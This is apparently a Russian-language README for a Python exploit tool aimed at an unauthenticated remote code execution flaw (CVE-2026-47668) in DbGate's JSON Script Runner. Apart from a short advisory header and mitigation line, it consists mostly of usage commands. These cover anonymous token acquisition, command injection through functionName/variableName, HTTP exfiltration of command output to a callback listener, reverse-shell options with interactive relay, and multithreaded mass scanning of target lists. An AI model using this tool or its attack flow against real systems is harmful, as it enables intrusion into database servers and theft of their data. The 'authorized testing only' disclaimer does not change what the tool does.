
DbGate Unauthenticated Remote Code Execution
Неаутентифицированное RCE в DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Инструмент оценки: CVE-2026-47668.py — только для авторизованного тестирования.
| CVE | CVE-2026-47668 |
| Критичность | Critical |
| Продукт | DbGate / dbgate-serve |
| Затронуто | ≤ 7.1.8 |
| Исправлено | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Название: Неаутентифицированное удаленное выполнение кода в DbGate через JSON Script Runner
Поля, управляемые пользователем (functionName, variableName), внедряются в динамически генерируемый JavaScript без надлежащей проверки. Злоумышленник может выполнить произвольный код в дочернем процессе Node.js runner.
Смягчение: Обновите до 7.1.9+. Ограничьте сетевой доступ, отключите анонимную аутентификацию, смените учетные данные, проверьте логи на подозрительную активность /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py проверяет и подтверждает эксплуатацию экземпляров DbGate, которые вы уполномочены тестировать.
Режимы
Результаты
Директория вывода: Nx/ (vuln, dispatch, exfil, failed, list_report, файлы для каждой цели в exfil/)
pip install -r requirements.txt
Требования: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Ввод по запросу | Пример |
|---|---|
| Один URL | http://192.168.1.10:3000 |
| URL + команда | http://192.168.1.10:3000|id |
| Список целей | targets.txt |
Каждый запуск CLI обязательно должен включать --cli.
python CVE-2026-47668.py --cli [опции]
-u / --url — целевой базовый URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — команда оболочки (по умолчанию: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — только проверка уязвимости (без команды)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — вектор внедрения: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — порт по умолчанию, если в URL не указан порт (по умолчанию: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — использовать существующий Bearer токен
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — настраиваемое тело входа (по умолчанию: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — тайм-аут HTTP в секундах
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — проверять TLS-сертификаты
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/имя хоста, по которому цель обращается к вашему слушателю
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — локальный адрес для привязки HTTP слушателя (по умолчанию: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — порт HTTP exfil (по умолчанию: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — внешний URL callback (отключает встроенный слушатель)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — время ожидания callback в секундах (одна цель, по умолчанию: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — отправлять вывод без кодировки base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — асинхронный exec вместо execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — файл со списком целей
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — количество одновременных потоков (по умолчанию: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — ожидание callback на каждую цель в массовом режиме (по умолчанию: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Массовый режим + настраиваемый порт по умолчанию
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Не требуется для обычного тестирования. Используйте HTTP exfil (--cmd) для подтверждения.
--reverse-shell — цель подключается к LHOST:LPORT (без значения = LAN IP + порт 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — порт, если в --reverse-shell нет :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — локальный адрес для прослушивания
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — ожидание TCP (по умолчанию: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — базовое ретранслирование stdin/stdout после подключения
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Примечание для Docker: используйте IP, достижимый из контейнера DbGate (например, шлюз хоста), а не только 127.0.0.1 на вашем ПК.
targets.txt)# комментарий
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command — переопределение команды для строкиNx/list_report.txtPOST /auth/login → Bearer токен (автоматически, если не указан --token)POST /runners/start → выполняется команда + HTTP callback (или обратный TCP, если включено)Для авторизованного тестирования безопасности только. Вы должны иметь явное разрешение на тестирование любой системы. Автор не несет ответственности за неправильное использование или незаконное использование.
От: Nxploited
| Пункт | Детали |
|---|
| Endpoint | POST /runners/start |
| Auth | Требуется Bearer; токен может быть получен через POST /auth/login в анонимных/стандартных развертываниях |
| Внедрение | functionName, variableName в JSON assign-командах |
| Воздействие | Выполнение команд ОС от имени пользователя процесса DbGate |
| Режим | Обратная оболочка | Описание |
|---|
| AUTO | Нет | Один ввод; токен + HTTP callback + значения по умолчанию |
| CLI | Опционально | Полный контроль через флаги |
| Mass | Нет | Сканирование из targets.txt |
--reverse-shell | Да | Опциональная TCP проверка (только для одной цели) |
| Результат | Значение |
|---|
| FAIL | Недоступен, ошибка аутентификации или не уязвим |
| VULN | Runner принял только пробник |
| DISPATCH | Полезная нагрузка отправлена; нет подтвержденного вывода |
| EXFIL | Callback получен — подтвержден вывод команды |
| REVSH | Обратное TCP подключение установлено (только опциональный режим) |
| Файл | Содержимое |
|---|
Nx/vuln.txt | Уязвимые цели (пробник ОК) |
Nx/dispatch.txt | Полезная нагрузка отправлена, не подтверждено |
Nx/exfil.txt | Подтвержденные callback'и |
Nx/failed.txt | Неудачные цели |
Nx/exfil/<host>.txt | Вывод команды для каждой цели |
Nx/sessions/<id>/summary.json | Сводка сессии |